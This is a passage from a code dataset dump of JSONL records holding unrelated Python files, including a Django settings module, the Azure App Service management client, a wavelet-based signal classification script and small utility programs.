shapes of input data used during performance analysis. \"\n \"Format: --max-shapes :D0,D1,..,DN .. :D0,D1,..,DN\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"value_ranges\",\n field_type=ConfigListString(output_mapper=parse_value_range),\n flags=[\"--value-ranges\"],\n description=\"Range of values used during performance analysis defined per input. \"\n \"Format: --value-ranges input_name0:min_value,max_value .. input_nameN:min_value,max_value\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"inputs\",\n field_type=ConfigListString(output_mapper=parse_tensor_spec),\n flags=[\"--inputs\"],\n description=\"\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"outputs\",\n field_type=ConfigListString(output_mapper=parse_tensor_spec),\n flags=[\"--outputs\"],\n description=\"\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"rtol\",\n field_type=ConfigListString(output_mapper=parse_error_thresholds),\n flags=[\"--rtol\"],\n description=\"Relative tolerance parameter for output comparison. \"\n \"To specify per-output tolerances, use the format: --rtol [:]. \"\n \"Example: --rtol 1e-5 out0:1e-4 out1:1e-3\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"atol\",\n field_type=ConfigListString(output_mapper=parse_error_thresholds),\n flags=[\"--atol\"],\n description=\"Absolute tolerance parameter for output comparison. \"\n \"To specify per-output tolerances, use the format: --atol [:]. \"\n \"Example: --atol 1e-5 out0:1e-4 out1:1e-3\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n","sub_path":"model_navigator/optimizer/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":8972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"551993753","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/ryosukekita/Desktop/DesktopFiles/PROJECTS/DSVISUALIZER/dataspectra/aefiles/scripts/upload_datasets.py\n# Compiled at: 2018-02-15 14:09:14\nimport webapp2\nfrom google.appengine.ext import ndb\nimport load_funcs as LF, os\n\nclass LocalUploadDatastore(webapp2.RequestHandler):\n \"\"\"\n Dynamically creates each model separately\n \"\"\"\n\n def get(self):\n datasets = LF.json_load_byteified(open('static/datasets.json'))\n numberOfDatasets = len(datasets)\n datasetModelDict = dict()\n for datasetParam in datasets.values():\n datasetModel = type(datasetParam['datasetkey'], (\n ndb.Model,), dict(searchTerm=ndb.StringProperty(), data=ndb.StringProperty(repeated=True, indexed=False)))\n datasetModelDict[datasetParam['datasetkey']] = datasetModel\n\n for datasetParam in datasets.values():\n datasetModel = datasetModelDict[datasetParam['datasetkey']]\n datasetfile = os.path.join('static', datasetParam['samplefile'])\n searchcol = int(datasetParam['searchcol'])\n with open(datasetfile) as (F):\n for i in range(int(datasetParam['searchrowstart'])):\n F.readline()\n\n for i in F:\n i = i.rstrip().split(',')\n newEntity = datasetModel(searchTerm=i[(searchcol - 1)], data=i)\n k = newEntity.put()\n\n searchLookupDict = LF.json_load_byteified(open('static/search_lookup.json'))\n searchTermModel = type('searchterm', (\n ndb.Model,), dict(searchTerm=ndb.StringProperty(), data=ndb.StringProperty(repeated=True, indexed=False)))\n searchlookupfile = os.path.join('static', searchLookupDict['samplefile'])\n with open(searchlookupfile) as (F):\n for i in F:\n i = i.rstrip().split(',')\n newEntity = searchTermModel(searchTerm=i[0], data=i)\n k = newEntity.put()","sub_path":"pycfiles/dataspectra-0.3.5.tar/upload_datasets.py","file_name":"upload_datasets.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"577106309","text":"import datamapping as dm\nimport point\n\ndef initParam(filename):\n #the data file\n raw_data = dm.Importer()\n raw_data.import_data(filename)\n #vehicle capacity\n capacity = int(raw_data.info[\"CAPACITY\"])\n # coordination\n coordination = raw_data.node_coordinates_list \n # node demand\n demand_list = raw_data.demand_array\n # distance and fitness\n distance_matrix = raw_data.distance_matrix\n # depot\n depot_lists = raw_data.depot\n depot_lists = [i-1 for i in depot_lists]\n #depot list\n Depots = []\n for depot in depot_lists:\n # [index, coordination, duration, capacity, vehicle number]\n d = point.Depot(*tuple([depot, coordination[depot][0], coordination[depot][1], None, capacity, None]))\n Depots.append(d)\n Customers = [] \n for customer in range(raw_data.depot_num, raw_data.depot_num+raw_data.customer_num):\n# print customer, coordination[customer][0], coordination[customer][1], None, demand_list[customer] \n c = point.Customer(*tuple([customer, coordination[customer][0], coordination[customer][1], None, demand_list[customer]]))\n Customers.append(c)\n\n return coordination, distance_matrix, Customers, Depots, depot_lists \n\nif __name__ == '__main__':\n coordination, distance_matrix, Customers, Depots, depot_lists = initParam(\"A-n32-k5.vrp\")\n for depot in Depots:\n print ('The depot_id %s and max vehicle %s'%(depot.id, depot.max_vehicle_num))\n for customer in Customers:\n print ('The customer_id %s and demand %s'%(customer.id, customer.demand))\n ","sub_path":"VRP_algorithm/recycle/VRP_GA_20181119_v2/Init_parameter.py","file_name":"Init_parameter.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"18647923","text":"import os\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nROOT_URLCONF = 'apps.urls'\nWSGI_APPLICATION = 'apps.wsgi.application'\n\nINSTALLED_APPS = [\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'rest_framework',\n 'core.applications',\n]\n\nMIDDLEWARE = [\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n]\n\nREST_FRAMEWORK = {\n 'DEFAULT_RENDERER_CLASSES': (\n 'rest_framework.renderers.JSONRenderer',\n )\n}\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nSTATIC_URL = '/static/'\nMEDIA_URL = '/media/'\n","sub_path":"apps/env/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"292251345","text":"from itertools import permutations\ndef isPrime(n):\n n = int(n)\n if n == 0 or n == 1:\n return False\n for i in range(2, n):\n if n % i == 0:\n return False\n return True\n\ndef solution(numbers):\n answer = 0\n nums = list(numbers)\n num_list = []\n for i in range(1, len(numbers)+1):\n for j in list(permutations(nums, i)):\n new_num = ''\n for k in j:\n new_num += k\n if new_num not in num_list:\n if new_num.startswith('0'):\n continue\n else:\n if isPrime(new_num):\n answer += 1\n num_list.append(new_num)\n return answer","sub_path":"Week12/findPrime/hyewon.py","file_name":"hyewon.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"612498582","text":"'''\r\nCreated on Sep 22, 2018\r\n\r\n@author: l0t0y\r\n'''\r\n\r\nfrom threading import Thread\r\nfrom random import uniform\r\nfrom time import sleep\r\nfrom labs.common.SensorData import SensorData\r\nfrom labs.module02.SmtpClientConnector import SmtpClientConnector\r\n\r\n\r\nclass TempSensorEmulator(Thread):\r\n\r\n curTemp = 0\r\n highVal = 0\r\n lowVal = 0\r\n enableTempEmulator = False\r\n updateTime = 0\r\n rateInSec = 0\r\n sensorData = 0\r\n connector = 0\r\n alertDiff = 0\r\n\r\n def __init__(self, rateInSec):\r\n Thread.__init__(self)\r\n self.highVal = 30\r\n self.lowVal = 0\r\n self.updateTime = 2\r\n self.rateInSec = rateInSec\r\n self.sensorData = SensorData()\r\n self.connector = SmtpClientConnector()\r\n self.alertDiff = 10\r\n\r\n def getCurrValue(self):\r\n\r\n return self.currValue\r\n\r\n def setEnableTempEmulator(self, flag):\r\n self.enableTempEmulator = flag\r\n\r\n def run(self):\r\n while True:\r\n if self.enableTempEmulator:\r\n self.sensorData.setName('Temperature')\r\n self.curTemp = uniform(float(self.lowVal), float(self.highVal))\r\n self.sensorData.addValue(self.curTemp)\r\n print('\\n--------------------')\r\n print('New sensor readings: \\n')\r\n print(' ' + str(self.sensorData))\r\n\r\n if (abs(self.curTemp - self.sensorData.getAvgValue()) >= self.alertDiff):\r\n print('\\n Current temp exceeds average by > ' + str(self.alertDiff) + '. Triggering alert...')\r\n self.connector.publishMessage('Exceptional sensor data [test]', self.sensorData)\r\n sleep(self.rateInSec)\r\n\r\n sleep(self.updateTime)\r\n","sub_path":"iot-device/apps/labs/module02/TempSensorEmulator.py","file_name":"TempSensorEmulator.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"24097230","text":"import streamlit as st\nfrom apps import firestore_calls as fc\n\ndef show(sel_model, type_m_p):\n \n \"\"\"Shows the sidebar components for the template and returns user inputs as dict.\"\"\"\n \n # `show()` is the only method required in this module. You can add any other code \n # you like above or below. \n \n inputs = {} # dict to store all user inputs until return\n \n pipeline = True\n\n #with st.sidebar:\n \n # Render all template-specific sidebar components here. \n \n # Store all user inputs in the `inputs` dict. This will be passed to the code\n # template later.\n \n #sel_model = ...\n #type_m_p = ...\n #pipeline = ...\n \n with st.beta_expander(label='Fairness Frameworks and Practices'):\n \n #Query the relevant practices based on the fairness requirements indicated by the model owner\n fc.get_recommended_practices(sel_model, type_m_p, pipeline = True);\n \n with st.beta_expander(label='Fairness Mitigation Methods'): \n\n #Query the relevant mititgation methods based on the fairness requirements indicated by the model owner\n fc.get_recommended_practices(sel_model, type_m_p, pipeline = True);\n\n \n\n\n\n\n\n\n\n\n","sub_path":"technical_data/Per Pipeline Stage/sidebar.py","file_name":"sidebar.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"548847225","text":"import math\nimport numpy as np\nimport unittest\n\nimport preprocess\n\nfrom numpy.polynomial.chebyshev import Chebyshev\ncb = Chebyshev.basis\n\n\nclass TestSolver(unittest.TestCase):\n def test_shift_powers(self):\n n = 10000\n k = 10\n xs = np.linspace(0, 100, n)\n\n amin = np.min(xs)\n amax = np.max(xs)\n xr = (amax - amin)/2\n xc = (amax + amin)/2\n\n power_sums = np.array([np.sum(xs**i) for i in range(k)])\n s_sums = preprocess.shift_power_sum(\n power_sums,\n xr,\n xc\n )\n s_sums /= s_sums[0]\n self.assertAlmostEqual(1, s_sums[0], 10)\n self.assertAlmostEqual(0, s_sums[1], 3)\n self.assertAlmostEqual(1.0/3, s_sums[2], 3)\n\n c_moments = preprocess.power_sum_to_cheby(\n power_sums,\n amin=amin,\n amax=amax,\n )\n self.assertAlmostEqual(-1.0/3, c_moments[2], 3)\n","sub_path":"pysolver/tests/test_preprocess.py","file_name":"test_preprocess.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"13126088","text":"################################################################\n# Author : yiorgosynkl (find me in Github: https://github.com/yiorgosynkl)\n# Date created : 20210115\n# Problem link : https://leetcode.com/problems/get-maximum-in-generated-array/\n################################################################\n\nclass Solution:\n def getMaximumGenerated(self, n: int) -> int:\n if n <= 1: return n\n arr = [0, 1] + [0]*(n-1)\n ans = 1\n for i in range(2, n+1):\n arr[i] = arr[i//2] + (i%2)*arr[i//2+1]\n ans = max(ans, arr[i])\n return ans\n \n# # less memory\n# def getMaximumGenerated(self, n: int) -> int:\n# if n <= 1: return n\n# q, ans = deque([1]), 1 \n# for i in range(2, n, 2):\n# q.append(q[0])\n# q.append(q[0] + q[1])\n# ans = max(ans, q[-1])\n# q.popleft()\n# return ans\n ","sub_path":"30_day_challenge_2021_January/1646_get_maximum_in_generated_array.py","file_name":"1646_get_maximum_in_generated_array.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"39481828","text":"from django.shortcuts import render\nfrom django.utils.translation import ugettext_lazy as _\nfrom jwkest.jwt import JWT\n\n_author_ = \"Alan Viars\"\n\n\ndef authenticated_home(request):\n if request.user.is_authenticated:\n\n try:\n vmi = request.user.social_auth.filter(\n provider='verifymyidentity-openidconnect')[0]\n extra_data = vmi.extra_data\n if 'id_token' in vmi.extra_data.keys():\n id_token = extra_data.get('id_token')\n parsed_id_token = JWT().unpack(id_token)\n parsed_id_token = parsed_id_token.payload()\n\n except Exception:\n id_token = \"No ID token.\"\n parsed_id_token = \"No ID token.\"\n\n name = _('Authenticated Home')\n try:\n profile = request.user.userprofile\n except Exception:\n profile = None\n\n # this is a GET\n context = {'name': name, 'profile': profile,\n 'id_token': id_token,\n 'id_token_payload': parsed_id_token}\n\n template = 'authenticated-home.html'\n else:\n name = ('home')\n context = {'name': name}\n template = 'index.html'\n return render(request, template, context)\n","sub_path":"apps/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"293594765","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------\n\nfrom copy import deepcopy\nfrom typing import Any, Awaitable, TYPE_CHECKING\n\nfrom azure.core.rest import AsyncHttpResponse, HttpRequest\nfrom azure.mgmt.core import AsyncARMPipelineClient\n\nfrom .. import models as _models\nfrom ..._serialization import Deserializer, Serializer\nfrom ._configuration import WebSiteManagementClientConfiguration\nfrom .operations import (\n AppServiceCertificateOrdersOperations,\n AppServiceEnvironmentsOperations,\n AppServicePlansOperations,\n CertificateOrdersDiagnosticsOperations,\n CertificateRegistrationProviderOperations,\n CertificatesOperations,\n ContainerAppsOperations,\n ContainerAppsRevisionsOperations,\n DeletedWebAppsOperations,\n DiagnosticsOperations,\n DomainRegistrationProviderOperations,\n DomainsOperations,\n GlobalOperations,\n KubeEnvironmentsOperations,\n ProviderOperations,\n RecommendationsOperations,\n ResourceHealthMetadataOperations,\n StaticSitesOperations,\n TopLevelDomainsOperations,\n WebAppsOperations,\n WebSiteManagementClientOperationsMixin,\n WorkflowRunActionRepetitionsOperations,\n WorkflowRunActionRepetitionsRequestHistoriesOperations,\n WorkflowRunActionScopeRepetitionsOperations,\n WorkflowRunActionsOperations,\n WorkflowRunsOperations,\n WorkflowTriggerHistoriesOperations,\n WorkflowTriggersOperations,\n WorkflowVersionsOperations,\n WorkflowsOperations,\n)\n\nif TYPE_CHECKING:\n # pylint: disable=unused-import,ungrouped-imports\n from azure.core.credentials_async import AsyncTokenCredential\n\n\nclass WebSiteManagementClient(\n WebSiteManagementClientOperationsMixin\n): # pylint: disable=client-accepts-api-version-keyword,too-many-instance-attributes\n \"\"\"WebSite Management Client.\n\n :ivar app_service_certificate_orders: AppServiceCertificateOrdersOperations operations\n :vartype app_service_certificate_orders:\n azure.mgmt.web.v2022_09_01.aio.operations.AppServiceCertificateOrdersOperations\n :ivar certificate_orders_diagnostics: CertificateOrdersDiagnosticsOperations operations\n :vartype certificate_orders_diagnostics:\n azure.mgmt.web.v2022_09_01.aio.operations.CertificateOrdersDiagnosticsOperations\n :ivar certificate_registration_provider: CertificateRegistrationProviderOperations operations\n :vartype certificate_registration_provider:\n azure.mgmt.web.v2022_09_01.aio.operations.CertificateRegistrationProviderOperations\n :ivar domains: DomainsOperations operations\n :vartype domains: azure.mgmt.web.v2022_09_01.aio.operations.DomainsOperations\n :ivar top_level_domains: TopLevelDomainsOperations operations\n :vartype top_level_domains: azure.mgmt.web.v2022_09_01.aio.operations.TopLevelDomainsOperations\n :ivar domain_registration_provider: DomainRegistrationProviderOperations operations\n :vartype domain_registration_provider:\n azure.mgmt.web.v2022_09_01.aio.operations.DomainRegistrationProviderOperations\n :ivar app_service_environments: AppServiceEnvironmentsOperations operations\n :vartype app_service_environments:\n azure.mgmt.web.v2022_09_01.aio.operations.AppServiceEnvironmentsOperations\n :ivar app_service_plans: AppServicePlansOperations operations\n :vartype app_service_plans: azure.mgmt.web.v2022_09_01.aio.operations.AppServicePlansOperations\n :ivar certificates: CertificatesOperations operations\n :vartype certificates: azure.mgmt.web.v2022_09_01.aio.operations.CertificatesOperations\n :ivar container_apps: ContainerAppsOperations operations\n :vartype container_apps: azure.mgmt.web.v2022_09_01.aio.operations.ContainerAppsOperations\n :ivar container_apps_revisions: ContainerAppsRevisionsOperations operations\n :vartype container_apps_revisions:\n azure.mgmt.web.v2022_09_01.aio.operations.ContainerAppsRevisionsOperations\n :ivar deleted_web_apps: DeletedWebAppsOperations operations\n :vartype deleted_web_apps: azure.mgmt.web.v2022_09_01.aio.operations.DeletedWebAppsOperations\n :ivar diagnostics: DiagnosticsOperations operations\n :vartype diagnostics: azure.mgmt.web.v2022_09_01.aio.operations.DiagnosticsOperations\n :ivar global_operations: GlobalOperations operations\n :vartype global_operations: azure.mgmt.web.v2022_09_01.aio.operations.GlobalOperations\n :ivar kube_environments: KubeEnvironmentsOperations operations\n :vartype kube_environments:\n azure.mgmt.web.v2022_09_01.aio.operations.KubeEnvironmentsOperations\n :ivar provider: ProviderOperations operations\n :vartype provider: azure.mgmt.web.v2022_09_01.aio.operations.ProviderOperations\n :ivar recommendations: RecommendationsOperations operations\n :vartype recommendations: azure.mgmt.web.v2022_09_01.aio.operations.RecommendationsOperations\n :ivar resource_health_metadata: ResourceHealthMetadataOperations operations\n :vartype resource_health_metadata:\n azure.mgmt.web.v2022_09_01.aio.operations.ResourceHealthMetadataOperations\n :ivar static_sites: StaticSitesOperations operations\n :vartype static_sites: azure.mgmt.web.v2022_09_01.aio.operations.StaticSitesOperations\n :ivar web_apps: WebAppsOperations operations\n :vartype web_apps: azure.mgmt.web.v2022_09_01.aio.operations.WebAppsOperations\n :ivar workflows: WorkflowsOperations operations\n :vartype workflows: azure.mgmt.web.v2022_09_01.aio.operations.WorkflowsOperations\n :ivar workflow_runs: WorkflowRunsOperations operations\n :vartype workflow_runs: azure.mgmt.web.v2022_09_01.aio.operations.WorkflowRunsOperations\n :ivar workflow_run_actions: WorkflowRunActionsOperations operations\n :vartype workflow_run_actions:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowRunActionsOperations\n :ivar workflow_run_action_repetitions: WorkflowRunActionRepetitionsOperations operations\n :vartype workflow_run_action_repetitions:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowRunActionRepetitionsOperations\n :ivar workflow_run_action_repetitions_request_histories:\n WorkflowRunActionRepetitionsRequestHistoriesOperations operations\n :vartype workflow_run_action_repetitions_request_histories:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowRunActionRepetitionsRequestHistoriesOperations\n :ivar workflow_run_action_scope_repetitions: WorkflowRunActionScopeRepetitionsOperations\n operations\n :vartype workflow_run_action_scope_repetitions:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowRunActionScopeRepetitionsOperations\n :ivar workflow_triggers: WorkflowTriggersOperations operations\n :vartype workflow_triggers:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowTriggersOperations\n :ivar workflow_trigger_histories: WorkflowTriggerHistoriesOperations operations\n :vartype workflow_trigger_histories:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowTriggerHistoriesOperations\n :ivar workflow_versions: WorkflowVersionsOperations operations\n :vartype workflow_versions:\n azure.mgmt.web.v2022_09_01.aio.operations.WorkflowVersionsOperations\n :param credential: Credential needed for the client to connect to Azure. Required.\n :type credential: ~azure.core.credentials_async.AsyncTokenCredential\n :param subscription_id: Your Azure subscription ID. This is a GUID-formatted string (e.g.\n 00000000-0000-0000-0000-000000000000). Required.\n :type subscription_id: str\n :param base_url: Service URL. Default value is \"https://management.azure.com\".\n :type base_url: str\n :keyword api_version: Api Version. Default value is \"2022-09-01\". Note that overriding this\n default value may result in unsupported behavior.\n :paramtype api_version: str\n :keyword int polling_interval: Default waiting time between two polls for LRO operations if no\n Retry-After header is present.\n \"\"\"\n\n def __init__(\n self,\n credential: \"AsyncTokenCredential\",\n subscription_id: str,\n base_url: str = \"https://management.azure.com\",\n **kwargs: Any\n ) -> None:\n self._config = WebSiteManagementClientConfiguration(\n credential=credential, subscription_id=subscription_id, **kwargs\n )\n self._client: AsyncARMPipelineClient = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs)\n\n client_models = {k: v for k, v in _models.__dict__.items() if isinstance(v, type)}\n self._serialize = Serializer(client_models)\n self._deserialize = Deserializer(client_models)\n self._serialize.client_side_validation = False\n self.app_service_certificate_orders = AppServiceCertificateOrdersOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.certificate_orders_diagnostics = CertificateOrdersDiagnosticsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.certificate_registration_provider = CertificateRegistrationProviderOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.domains = DomainsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.top_level_domains = TopLevelDomainsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.domain_registration_provider = DomainRegistrationProviderOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.app_service_environments = AppServiceEnvironmentsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.app_service_plans = AppServicePlansOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.certificates = CertificatesOperations(self._client, self._config, self._serialize, self._deserialize)\n self.container_apps = ContainerAppsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.container_apps_revisions = ContainerAppsRevisionsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.deleted_web_apps = DeletedWebAppsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.diagnostics = DiagnosticsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.global_operations = GlobalOperations(self._client, self._config, self._serialize, self._deserialize)\n self.kube_environments = KubeEnvironmentsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.provider = ProviderOperations(self._client, self._config, self._serialize, self._deserialize)\n self.recommendations = RecommendationsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.resource_health_metadata = ResourceHealthMetadataOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.static_sites = StaticSitesOperations(self._client, self._config, self._serialize, self._deserialize)\n self.web_apps = WebAppsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.workflows = WorkflowsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.workflow_runs = WorkflowRunsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.workflow_run_actions = WorkflowRunActionsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.workflow_run_action_repetitions = WorkflowRunActionRepetitionsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.workflow_run_action_repetitions_request_histories = WorkflowRunActionRepetitionsRequestHistoriesOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.workflow_run_action_scope_repetitions = WorkflowRunActionScopeRepetitionsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.workflow_triggers = WorkflowTriggersOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.workflow_trigger_histories = WorkflowTriggerHistoriesOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.workflow_versions = WorkflowVersionsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n\n def _send_request(self, request: HttpRequest, **kwargs: Any) -> Awaitable[AsyncHttpResponse]:\n \"\"\"Runs the network request through the client's chained policies.\n\n >>> from azure.core.rest import HttpRequest\n >>> request = HttpRequest(\"GET\", \"https://www.example.org/\")\n \n >>> response = await client._send_request(request)\n \n\n For more information on this code flow, see https://aka.ms/azsdk/dpcodegen/python/send_request\n\n :param request: The network request you want to make. Required.\n :type request: ~azure.core.rest.HttpRequest\n :keyword bool stream: Whether the response payload will be streamed. Defaults to False.\n :return: The response of your network call. Does not do error handling on your response.\n :rtype: ~azure.core.rest.AsyncHttpResponse\n \"\"\"\n\n request_copy = deepcopy(request)\n request_copy.url = self._client.format_url(request_copy.url)\n return self._client.send_request(request_copy, **kwargs)\n\n async def close(self) -> None:\n await self._client.close()\n\n async def __aenter__(self) -> \"WebSiteManagementClient\":\n await self._client.__aenter__()\n return self\n\n async def __aexit__(self, *exc_details: Any) -> None:\n await self._client.__aexit__(*exc_details)\n","sub_path":"sdk/appservice/azure-mgmt-web/azure/mgmt/web/v2022_09_01/aio/_web_site_management_client.py","file_name":"_web_site_management_client.py","file_ext":"py","file_size_in_byte":14508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"237407656","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pywt\nimport pyarrow.parquet as pq\nimport pandas as pd\n\nimport scipy\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV, cross_val_score\nfrom sklearn.metrics import matthews_corrcoef, make_scorer, roc_auc_score\nfrom sklearn.ensemble import AdaBoostRegressor, ExtraTreesRegressor, RandomForestRegressor\nfrom sklearn.neural_network import MLPRegressor, MLPClassifier\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.utils import shuffle\nfrom collections import Counter\n\nfrom tqdm import tqdm\nfrom numba import jit\n\ndef calculate_entropy(list_values):\n counter_values = Counter(list_values).most_common()\n probabilities = [elem[1]/len(list_values) for elem in counter_values]\n entropy=scipy.stats.entropy(probabilities)\n return entropy\n \n@jit('float32(float32[:])')\ndef calculate_statistics(list_values):\n n5 = np.nanpercentile(list_values, 5)\n n25 = np.nanpercentile(list_values, 25)\n n75 = np.nanpercentile(list_values, 75)\n n95 = np.nanpercentile(list_values, 95)\n median = np.nanpercentile(list_values, 50)\n mean = np.nanmean(list_values)\n std = np.nanstd(list_values)\n var = np.nanvar(list_values)\n rms = np.nanmean(np.sqrt(list_values**2))\n return [n5, n25, n75, n95, median, mean, std, var, rms]\n \ndef get_features(list_values):\n entropy = calculate_entropy(list_values)\n statistics = calculate_statistics(list_values)\n return [entropy] + statistics\n\ndef get_uci_har_features(dataset, labels, waveletname):\n uci_har_features = []\n for signal_no in tqdm(range(0, len(dataset))):\n features = []\n signal = dataset[signal_no, :]\n list_coeff = pywt.wavedec(signal, waveletname)\n for coeff in list_coeff:\n features += get_features(coeff)\n uci_har_features.append(features)\n X = np.array(uci_har_features)\n Y = np.array(labels)\n return X, Y\n\n\n#X_index, Y_data = np.array([], dtype=np.int), np.array([])\n#meta_set = pd.read_csv('data/metadata_train.csv')\n#signal_id = meta_set.loc[(meta_set.target == 1), 'signal_id']\n#X_index = np.append(X_index, signal_id.values)\n#Y_data = np.ones(len(X_index))\n#Y_data = np.append(Y_data, np.zeros(len(X_index)) )\n#\n#signal_id = meta_set.loc[(meta_set.target == 0), 'signal_id']\n#X_index = np.append(X_index, signal_id.values[:len(X_index)])\n#\n#train_set = pq.read_table('data/train.parquet', columns=[str(i) for i in X_index]).to_pandas()\n#signal = np.array(train_set).T.reshape(-1, 800000)\n\nX_data, Y_data = np.loadtxt('X_data.txt'), np.loadtxt('Y_data.txt') #get_uci_har_features(signal, Y_data, 'db4')\nX_data, Y_data = shuffle(X_data, Y_data)\n\n#np.savetxt('X_data.txt', X_data)\n#np.savetxt('Y_data.txt', Y_data)\n\n#X_train, X_test, y_train, y_test = train_test_split(X_data, Y_data, test_size=0.3, shuffle=True)\n#\n#min_max_scaler = MinMaxScaler()\n##y_test, y_train = np.array(y_test, dtype='int'), np.array(y_train, dtype='int')\n#\n#ma_depth:60, b_estimators:1000\n#clf = RandomForestRegressor(n_estimators=1000, max_depth=60)\n\nmc = make_scorer(matthews_corrcoef)\n#cv5 = cross_val_score(clf, X_data, Y_data, scoring=mc, cv=5)\n#cv6 = cross_val_score(clf, X_data, Y_data, scoring=mc, cv=6)\n#cv7 = cross_val_score(clf, X_data, Y_data, scoring=mc, cv=7)\n#\n#cv_mean = [np.mean(cv5), np.mean(cv6), np.mean(cv7)]\n#cv_std = [np.std(cv5), np.std(cv6), np.std(cv7)]\n#\n#for i in range(len(cv_mean)):\n# print(\"cv\",i+5,\": \", cv_mean[i], \" +/- \", cv_std[i])\n#print(\"cv: \", np.mean(cv_mean), \" +/- \", np.mean(cv_std))\n\nra = make_scorer(roc_auc_score)\n#3000, max_depth: 50\n#clf = ExtraTreesRegressor()\n\nclf = MLPClassifier()\nparam_grid = { \n 'solver': ['lbfgs'],\n 'max_iter': [2000, 3000], \n 'alpha': 10.0 ** -np.arange(1, 4), \n 'hidden_layer_sizes':np.arange(2000, 3000, 500), \n 'activation': ['tanh', 'relu']\n}\n\nCV_rfc = GridSearchCV(estimator=clf, param_grid=param_grid, cv=5, scoring=mc)\nprint(\"start fitiing...\")\nCV_rfc.fit(X_data, Y_data)\nbp = CV_rfc.best_params_\nbs = CV_rfc.best_score_\nprint(bp)\nprint(bs)","sub_path":"clf_grb.py","file_name":"clf_grb.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"233796407","text":"# Imports arcade library\nimport arcade\n# From constants import all\nfrom game.constants import *\n# Import flying_object imports Flying_Object\nfrom game.flying_object import Flying_Object\n\n\nclass Shooter(Flying_Object):\n \"\"\"Creates and control the shooter\"\"\"\n\n def __init__(self):\n super().__init__()\n\n self.radius = 